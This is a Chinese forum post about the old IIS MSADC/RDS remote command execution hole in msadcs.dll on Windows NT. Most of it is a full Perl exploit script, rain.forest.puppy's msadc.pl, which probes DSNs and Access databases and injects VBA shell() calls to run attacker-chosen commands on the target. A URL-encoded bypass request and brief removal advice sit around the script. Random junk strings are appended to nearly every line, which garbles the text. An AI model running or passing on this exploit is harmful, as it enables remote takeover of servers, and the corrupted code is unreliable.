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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) {Y]3t9!\  
7#*O|t/'  
涉及程序: .:;q8FL/  
Microsoft NT server H0.&~!,*  
l$!NEOK  
描述: =<= [E:B  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 )In;nc  
.J5or  
详细: NH1|_2  
如果你没有时间读详细内容的话,就删除: n=!5ha%#N  
c:\Program Files\Common Files\System\Msadc\msadcs.dll e<Oz%  
有关的安全问题就没有了。 c1f`?i}.  
Hpp;dG  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 2PSv3?".  
)MM(HS  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 )@.ODW;`  
关于利用ODBC远程漏洞的描述,请参看: uA%F0oM  
XT==N-5,  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm e=u}J%|  
yaX%<KBa\  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 "rQ?2?  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp )[t3-'  
1b!5h  
这里不再论述。 Y3hudjhLl  
,?GAFg K:  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: #: ,X^"w3  
<lSo7NkR  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset DB] ]6  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! d k|X&)xTJ  
xU9^8,6  
_j_c&  
#将下面这段保存为txt文件,然后: "perl -x 文件名" :Sk<0VVd7  
3_ =:^Z  
#!perl +n8,=}  
# ,76nDXy`  
# MSADC/RDS 'usage' (aka exploit) script cC,gd\}M  
# yLt?XhRlp  
# by rain.forest.puppy ]b&qC (  
# E|B1h!!\c  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me =1F F2#zS  
# beta test and find errors! ou&7v<)x4  
kca  Y  
use Socket; use Getopt::Std; gi\UNT9x  
getopts("e:vd:h:XR", \%args); K9'AYFse  
$4TawFf"nc  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; X@B,w_b  
@j4~`~8  
if (!defined $args{h} && !defined $args{R}) { F8Z6Ss|v3  
print qq~ TUd=qnu  
Usage: msadc.pl -h <host> { -d <delay> -X -v } S#7.y~e\  
-h <host> = host you want to scan (ip or domain) SRk-3:  
-d <seconds> = delay between calls, default 1 second X_I.f6v{  
-X = dump Index Server path table, if available akA C^:F  
-v = verbose *:,7 A9LY  
-e = external dictionary file for step 5 s|8_R;  
r\{; ~V  
Or a -R will resume a command session &nF7CCF  
K<Y-/t  
~; exit;} 7R om#Kl:  
 _$4vk  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; }EHmVPe  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} DfP vi1  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} F (:] lM|  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 3gmu-t v  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} D'Sdz\:4  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } #EU x1II  
,b8B)VZ?  
if (!defined $args{R}){ $ret = &has_msadc; Ucok&)7-  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 1hgmlY`  
W?auY_+P  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" -zL xT  
. "cmd /c "; ?x &"EhA>  
$in=<STDIN>; chomp $in; \LW '6 pQ_  
$command="cmd /c " . $in ; [kq+a] q  
)c<5:c  
if (defined $args{R}) {&load; exit;} ;;- I<TL  
 0bk094  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; axi%5:I  
&try_btcustmr; }+f@$L  
Eq/%k $6#1  
print "\nStep 2: Trying to make our own DSN..."; G;pxB,4s5  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; /!0{9F<  
jCbxI^3A  
print "\nStep 3: Trying known DSNs..."; .W%{j()op  
&known_dsn; |"a%S,I'  
o %tvwv  
print "\nStep 4: Trying known .mdbs..."; $PNIuC?=  
&known_mdb;  kQm\;[R  
enJE#4Z5&s  
if (defined $args{e}){ (@?PN+68|  
print "\nStep 5: Trying dictionary of DSN names..."; N;\by<snN  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } $ V"7UA22  
ojd/%@+u+Y  
print "Sorry Charley...maybe next time?\n"; ;HaG-c</  
exit; O ijG@bI8  
l*yJU3PW  
############################################################################## L$FLQyDR  
A5gdZZ'x  
sub sendraw { # ripped and modded from whisker C"ZCX6p+$  
sleep($delay); # it's a DoS on the server! At least on mine... } Pc6_#  
my ($pstr)=@_; &wZ:$lK#o  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || XA:v:JFS  
die("Socket problems\n"); fXYg %  
if(connect(S,pack "SnA4x8",2,80,$target)){ 52#@.Qa  
select(S); $|=1; s&$Zgf6Z  
print $pstr; my @in=<S>; QJ s /0iw  
select(STDOUT); close(S); P A9 ]L  
return @in; b9([)8  
} else { die("Can't connect...\n"); }} S\jN:o#b  
PRCr7f  
############################################################################## {N$G|bm]u<  
Re b^w,  
sub make_header { # make the HTTP request k^.9;FmQ  
my $msadc=<<EOT 0Q5ua `U  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 -K)P|'-?m  
User-Agent: ACTIVEDATA [0} ^w[  
Host: $ip A{hWFSv  
Content-Length: $clen > c7fg^@  
Connection: Keep-Alive Piz/vH6M}  
d+fi g{<b  
ADCClientVersion:01.06 kqA`d  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 `riK[@  
A_@#V)D2  
--!ADM!ROX!YOUR!WORLD! . \fzK  
Content-Type: application/x-varg E-i rB/0  
Content-Length: $reqlen @hWt.qO3s  
{j E}mzi  
EOT Y0U<l1(|  
; $msadc=~s/\n/\r\n/g; 0BIH.ZV#  
return $msadc;} /cDla5eej  
` oYrW0Vm  
############################################################################## ' 7>V4\"  
PhM3?$  
sub make_req { # make the RDS request nK6{_Y>  
my ($switch, $p1, $p2)=@_; C (_xqn  
my $req=""; my $t1, $t2, $query, $dsn; avk0pY(n  
W!z=AL{  
if ($switch==1){ # this is the btcustmr.mdb query f?_H02j`/E  
$query="Select * from Customers where City=" . make_shell(); nlK"2/W  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . -`B|$ W  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} uV*&a~  
Wel-a< e  
elsif ($switch==2){ # this is general make table query @QMMtfeLj  
$query="create table AZZ (B int, C varchar(10))"; H5=-b@(  
$dsn="$p1";} (Y!@,rKd   
a3037~X  
elsif ($switch==3){ # this is general exploit table query \?)<==^  
$query="select * from AZZ where C=" . make_shell(); U w][U  
$dsn="$p1";} Ohnd:8E  
T.aY {Y  
elsif ($switch==4){ # attempt to hork file info from index server h5ST`jZ  
$query="select path from scope()"; dH zo_VV  
$dsn="Provider=MSIDXS;";} >t O(S  
X'WbS  
elsif ($switch==5){ # bad query 'zZN]P  
$query="select"; m4|9p{E  
$dsn="$p1";} A3bE3Fk$  
!["WnF{5eC  
$t1= make_unicode($query); 2rf-pdOvG  
$t2= make_unicode($dsn); D'#Wc#b  
$req = "\x02\x00\x03\x00"; TgVvp0F;  
$req.= "\x08\x00" . pack ("S1", length($t1)); m Fwx},dl  
$req.= "\x00\x00" . $t1 ; +dk}$w[ g  
$req.= "\x08\x00" . pack ("S1", length($t2)); QVI4<Rxg  
$req.= "\x00\x00" . $t2 ; Yyby 1  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; W[: n*h  
return $req;} 7\K=8G  
3j(GcR 9  
############################################################################## 7 rOziKZ"  
<`b)56v:+  
sub make_shell { # this makes the shell() statement U*=ebZno  
return "'|shell(\"$command\")|'";} uG2Hzav  
J(VJMS;_  
############################################################################## uJm9h(xq  
a}+|2k_  
sub make_unicode { # quick little function to convert to unicode soXeHjNl  
my ($in)=@_; my $out; =zt@*o{F  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } INE8@}e  
return $out;} -Yy,L%E]F:  
{d(@o!;Fi  
############################################################################## NI \jGR.  
6fQNF22E  
sub rdo_success { # checks for RDO return success (this is kludge) mHUQtGAVQ  
my (@in) = @_; my $base=content_start(@in); Pp6(7j  
if($in[$base]=~/multipart\/mixed/){ G0|j3y9$  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} try'%0}>  
return 0;} m49GCo k+  
`\P#TBM  
############################################################################## =M)+O%`*6  
u!];RHOp|  
sub make_dsn { # this makes a DSN for us )}1 J.>5  
my @drives=("c","d","e","f"); r%JJ5Al.S  
print "\nMaking DSN: "; 8/x@|rjW  
foreach $drive (@drives) { #7+oM8b  
print "$drive: "; lzN\~5a}  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . AF>J8V  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" Mk7,:S  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); kcVEE)zb  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; {Tl5,CAz  
return 0 if $2 eq "404"; # not found/doesn't exist ?k]^?7GN  
if($2 eq "200") { \vXo~_-&  
foreach $line (@results) { {A2(a7vV  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} DZ |0CB~  
} return 0;} +dcBh Dq  
Q-_&5/G  
############################################################################## 9"K EHf!  
+ZEj(fd9  
sub verify_exists { <T+)~&g$  
my ($page)=@_; Lf{9=;  
my @results=sendraw("GET $page HTTP/1.0\n\n"); /mX/ "~  
return $results[0];} L]3 V)`}  
>f JY  
############################################################################## +Fp8cT=1  
Fx*iAH\e  
sub try_btcustmr { H[UV]qO,  
my @drives=("c","d","e","f"); -uXf?sTV  
my @dirs=("winnt","winnt35","winnt351","win","windows"); D.9qxM"Z>  
W~z 2Q so  
foreach $dir (@dirs) { BMkN68q  
print "$dir -> "; # fun status so you can see progress @r^a/]5D  
foreach $drive (@drives) { ~oy =2Q<Z  
print "$drive: "; # ditto K>hQls+  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 9q5jqFQ  
$reqlenlen=length( "$reqlen" ); _SC{nZ[  
$clen= 206 + $reqlenlen + $reqlen; )HQ':ZE$  
-'r4@='6}  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); :3J, t//c  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} @9lV~,,U  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} _o/LFLq  
Gjf b<  
############################################################################## =VFi}C/  
dE~]%fUFy-  
sub odbc_error { mZQW>A]iE  
my (@in)=@_; my $base; mD<- <]SYp  
my $base = content_start(@in); T^> ST  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this >7i&(6L  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; PTrKnuM\J_  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; <fg~+{PA&  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Ybo:2e  
return $in[$base+4].$in[$base+5].$in[$base+6];} ce@1#}*  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; #m=TK7*v  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . )voJq\Y)%  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} S-l<+O1fy  
q#B=PZ'NA  
############################################################################## Ut.%=o;&[  
/.P9n9  
sub verbose { 9.u}<m  
my ($in)=@_; 4zyN>f|  
return if !$verbose; OGW,[k= 2{  
print STDOUT "\n$in\n";} A!B: vJ  
/9T.]H ~  
############################################################################## _)-t#Ve  
3m%oXT  
sub save { C+o1.#]JM  
my ($p1, $p2, $p3, $p4)=@_; n-zAkKM  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; T%74JRQ  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ~(i#A>   
close OUT;} O(x1Ja,&  
}huj%Pnk )  
############################################################################## 3-x ;_  
*\Z9=8yK  
sub load { s^f7w  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; U )kl !  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); >T84NFdz+  
@p=<IN>; close(IN); Buc{dcL/  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); NULew]:5  
$target= inet_aton($ip) || die("inet_aton problems"); |i_+b@Lul  
print "Resuming to $ip ..."; _y:-_q  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; s krdL.5  
if($p[1]==1) { by07l5  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; uCkXzb9_z  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; e}lF#$  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); tVfZ~q J  
if (rdo_success(@results)){print "Success!\n";} CjR!dh1w_  
else { print "failed\n"; verbose(odbc_error(@results));}} eX)'C>4W  
elsif ($p[1]==3){ u}I-#j)wap  
if(run_query("$p[3]")){ O-P'Ff"}t  
print "Success!\n";} else { print "failed\n"; }} Td,2.YMQ  
elsif ($p[1]==4){ NM FgCL  
if(run_query($drvst . "$p[3]")){ uuHg=8(  
print "Success!\n"; } else { print "failed\n"; }} EzII!0 F  
exit;} 0?V{u`*  
0zQ~'x  
############################################################################## 7R5m|h`M  
a]H&k$!c  
sub create_table { ^IQtXae6M  
my ($in)=@_; DVJuX~'|!  
$reqlen=length( make_req(2,$in,"") ) - 28; Hk&op P9)  
$reqlenlen=length( "$reqlen" ); ^wass_8  
$clen= 206 + $reqlenlen + $reqlen; qwhDv+o  
my @results=sendraw(make_header() . make_req(2,$in,"")); >EE}P|=-  
return 1 if rdo_success(@results); R+sv?4k  
my $temp= odbc_error(@results); verbose($temp); p1F{ v^  
return 1 if $temp=~/Table 'AZZ' already exists/; y{>T['"@  
return 0;} l,fwF ua  
u~rPqBT{d3  
############################################################################## Q|KD$2rB  
/]U),LbN  
sub known_dsn { 8*zORz  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 3~q#P   
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", B*Z}=$1j  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", osM[Xv  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); {Jbouj?V!  
+{~ cX] |  
foreach $dSn (@dsns) { %-?k [DL6  
print "."; u.yYE,9  
next if (!is_access("DSN=$dSn")); oUl0w~Xn  
if(create_table("DSN=$dSn")){ tt&#4Z  
print "$dSn successful\n"; `d c&B  
if(run_query("DSN=$dSn")){ /,d]`N!  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { q$7w?(Lk  
print "Something's borked. Use verbose next time\n";}}} print "\n";} - +<ai  
5J-slNNCQ  
############################################################################## ,NAwSmocVP  
U| T}0  
sub is_access { Sq ]VtQ(  
my ($in)=@_; wY]ejK$0R  
$reqlen=length( make_req(5,$in,"") ) - 28; `\beQ(g  
$reqlenlen=length( "$reqlen" ); -e\OF3 Td  
$clen= 206 + $reqlenlen + $reqlen; ]FNe&o1zX  
my @results=sendraw(make_header() . make_req(5,$in,""));  o,rK8x  
my $temp= odbc_error(@results); <=~*`eWV  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); GX+Gqj.  
return 0;} %)ri:Qq  
XqLR2 d  
############################################################################## ,UYe OM2Ao  
63`5A3rii  
sub run_query { `#*`hH8  
my ($in)=@_; "M;[c9  
$reqlen=length( make_req(3,$in,"") ) - 28; 7aS%;EU  
$reqlenlen=length( "$reqlen" ); '2qbIYanh  
$clen= 206 + $reqlenlen + $reqlen; QVF561Yz  
my @results=sendraw(make_header() . make_req(3,$in,"")); yi8AzUW cW  
return 1 if rdo_success(@results); fBb:J+  
my $temp= odbc_error(@results); verbose($temp); /&H l62Ak  
return 0;} Fs}B\R/J  
|Ed?s  
############################################################################## w1EB>!<;tj  
o)wOXF  
sub known_mdb { 1@t8i?:h  
my @drives=("c","d","e","f","g"); v4]#Nc$~T  
my @dirs=("winnt","winnt35","winnt351","win","windows"); *5u3d`bW  
my $dir, $drive, $mdb; /hur6yI8  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; hbe";(  
_WGWU7h  
# this is sparse, because I don't know of many ~ #jnkD  
my @sysmdbs=( "\\catroot\\icatalog.mdb", kXWC o6?  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", oj=% < a  
"\\system32\\certmdb.mdb", :IO"' b  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% lDL(,ZZS`  
* V_b/Vt  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ef@F!s_fI  
"\\cfusion\\cfapps\\forums\\forums_.mdb", $a|>>?8  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 5g`J}@"k  
"\\cfusion\\cfapps\\security\\realm_.mdb", S c ijf 9  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", gj7'4 3 ?W  
"\\cfusion\\database\\cfexamples.mdb", VtzBYza  
"\\cfusion\\database\\cfsnippets.mdb", 33ZHrZ  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", Jt:)(&-t   
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", _VB;fH$  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 4j}.=u*X7  
"\\cfusion\\database\\smpolicy.mdb", 1@N4Y9o  
"\\cfusion\\database\cypress.mdb", BXNC(^  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", bw)E;1zo  
"\\website\\cgi-win\\dbsample.mdb", =)#<u9 qqL  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Z6zLL   
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" [x%8l,O #l  
); #these are just eNK6=D|  
foreach $drive (@drives) { RA!8AS?  
foreach $dir (@dirs){ 4av  
foreach $mdb (@sysmdbs) { ^jXKM!}-E  
print "."; b\^1P;!'W  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ iL<FF N~{  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; uF ;8B]"  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ _} j6Pw'  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; g* -}9~  
} else { print "Something's borked. Use verbose next time\n"; }}}}} L'$({  
Zbr1e5?  
foreach $drive (@drives) { jgqeDl\=+  
foreach $mdb (@mdbs) { .kyes4Z  
print "."; E<p<"UjcCJ  
if(create_table($drv . $drive . $dir . $mdb)){ sZwa#CQKq  
print "\n" . $drive . $dir . $mdb . " successful\n"; b)>l7nOc  
if(run_query($drv . $drive . $dir . $mdb)){ <O41 M\,  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; QO>)ug+  
} else { print "Something's borked. Use verbose next time\n"; }}}} _7R6%^  
} S"fqE%  
R2qz>kyyB  
############################################################################## uF{l`|b'  
[B^V{nUBc  
sub hork_idx { &Z}}9dd  
print "\nAttempting to dump Index Server tables...\n"; RDeI l&  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; BwYR"  
$reqlen=length( make_req(4,"","") ) - 28; VrKLEN\  
$reqlenlen=length( "$reqlen" ); MH]?:]K9V  
$clen= 206 + $reqlenlen + $reqlen; 'X\C/8\  
my @results=sendraw2(make_header() . make_req(4,"","")); DB'3h7T  
if (rdo_success(@results)){ 1lsg|iVz  
my $max=@results; my $c; my %d; x}f)P  
for($c=19; $c<$max; $c++){ KfSbm?  
$results[$c]=~s/\x00//g; PWV+ M@  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; iA4VT,  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; .B! L+M< [  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 3!Mb<W.3  
$d{"$1$2"}="";} - v=ndJ.  
foreach $c (keys %d){ print "$c\n"; } 1`1Jn*|TI  
} else {print "Index server doesn't seem to be installed.\n"; }} Qqd+=mgc  
#UnGU,J  
############################################################################## QZ5%nJme_  
FC4hvO(/m  
sub dsn_dict { qvs[Gkaa@  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); >`n)-8  
while(<IN>){ :U faMe5  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; e63io0g>  
next if (!is_access("DSN=$dSn")); q#0yu"<  
if(create_table("DSN=$dSn")){ pW&8 =Ew  
print "$dSn successful\n"; vX*kvEG  
if(run_query("DSN=$dSn")){ j[=P3Z0q  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { F3nPQw{;  
print "Something's borked. Use verbose next time\n";}}} R?] S<Z  
print "\n"; close(IN);} ?'$} k  
08$l=  
############################################################################## "-Uqv@  
@ 3b-  
sub sendraw2 { # ripped and modded from whisker cMfnc.P\K  
sleep($delay); # it's a DoS on the server! At least on mine... bR=TGL&  
my ($pstr)=@_; Z"G?+gM@  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ^.[+)0I  
die("Socket problems\n"); nB |fw"  
if(connect(S,pack "SnA4x8",2,80,$target)){ n* z;%'0  
print "Connected. Getting data"; xQ=L2pX  
open(OUT,">raw.out"); my @in; ,f .#-  
select(S); $|=1; print $pstr; kCKCJ }N  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} v8THJf  
close(OUT); select(STDOUT); close(S); return @in; ,`(Qs7)Xx  
} else { die("Can't connect...\n"); }} yiczRex%rq  
6}_J;g\|  
############################################################################## Bn Nu/02.=  
]Wc 2$  
sub content_start { # this will take in the server headers #~6X9,x=  
my (@in)=@_; my $c; HmpV; <t3  
for ($c=1;$c<500;$c++) { (Jy > ,~O  
if($in[$c] =~/^\x0d\x0a/){ *%dWNvN4X  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } }& 01=nY  
else { return $c+1; }}} n(\VP!u5r  
return -1;} # it should never get here actually )<L?3Jjt5  
(XQl2C  
############################################################################## >&|/4`HSB  
oX-h7;SD  
sub funky { {Yt i  
my (@in)=@_; my $error=odbc_error(@in); 3 J\&t4q  
if($error=~/ADO could not find the specified provider/){ 1c $iW>0K  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; -PH qD  
exit;} gjy:o5{vA*  
if($error=~/A Handler is required/){ q%FXox~b  
print "\nServer has custom handler filters (they most likely are patched)\n"; 7=4V1FS6i  
exit;} j,g.Eo  
if($error=~/specified Handler has denied Access/){ j"<F?k@`Q  
print "\nServer has custom handler filters (they most likely are patched)\n"; [u8JqX  
exit;}} V[">SiOg  
1L.yh U\  
############################################################################## RTYhgq  
x;/%`gKn8  
sub has_msadc { r)Iq47Uiw  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ?E7.x%n7X5  
my $base=content_start(@results);  av!~B,  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); wEIAU  
return 0;} 7A>glZ/x  
_+nlm5  
######################## o n?8l?iQ  
JZ0u/x5  
9/50+2F  
解决方案:  TGozoPV  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll @RS|}M^4  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 jiAN8t*P  
}Z\PE0  
拿出来充数 哈哈
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